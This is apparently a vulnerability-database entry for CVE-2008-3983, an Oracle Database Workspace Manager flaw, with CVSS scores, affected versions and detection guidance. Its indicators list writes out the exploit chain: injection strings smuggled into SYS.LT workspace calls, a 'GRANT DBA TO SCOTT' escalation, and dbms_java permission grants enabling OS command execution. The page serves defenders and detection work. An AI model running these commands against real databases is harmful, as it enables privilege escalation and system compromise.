CVE-2008-3983

published 2008-10-14

CVE-2008-3983: Unspecified vulnerability in the Workspace Manager component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3, and 11.1.0.6 allows remote…

Priority P3 43 medium 5.5 CVSS 2.0

AV N AC L Au S C P I P A N

EXPLOIT

Unspecified vulnerability in the Workspace Manager component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3, and 11.1.0.6 allows remote authenticated users to affect confidentiality and integrity, related to SYS.LT and WMSYS.LT, a different vulnerability than CVE-2008-3982 and CVE-2008-3984.

Affected

5 ranges

Vendor	Product	Version range	Fixed in
oracle	database_10g	—	—
oracle	database_10g	—	—
oracle	database_11i	—	—
oracle	database_9i	—	—
oracle	database_9i	—	—

Detection & IOCs extracted from sources · hover to see the quote

command exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');↗

command exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');↗

command EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'↗

command exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','>','execute');↗

command exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');↗

command exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');↗

other JAVACMD (Java source named used for OS command execution)↗

process JAVAEXEC (PL/SQL procedure wrapping JAVACMD.execCommand)↗

• → Monitor Oracle DB audit logs for calls to SYS.LT.MERGEWORKSPACE or SYS.LT.CREATEWORKSPACE containing single-quote characters or function-call injection patterns (e.g., ' and <func>()=') ↗
• → Alert on any non-DBA Oracle user receiving a GRANT DBA privilege, especially when issued via EXECUTE IMMEDIATE inside an autonomous transaction function — a hallmark of this exploit's privilege escalation chain. ↗
• → Detect creation of Java stored procedures (JAVACMD / JAVAEXEC) in Oracle DB by non-privileged users, particularly those granted java.io.FilePermission execute or RuntimePermission writeFileDescriptor/readFileDescriptor via dbms_java.grant_permission. ↗
• → Any user with execute privilege on SYS.LT package should be treated as a high-risk principal; audit all executions of SYS.LT and WMSYS.LT package procedures. ↗

• · The vulnerability affects specific Oracle Database versions only; patched or later versions are not affected. Confirm target version before applying detections. ↗
• · The exploit was tested specifically on Oracle 10.1.0.5.0; behavior on other affected versions may differ slightly. ↗
• · Exploitation requires the attacker to already be a remote authenticated database user with EXECUTE privilege on SYS.LT; unauthenticated exploitation is not possible. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.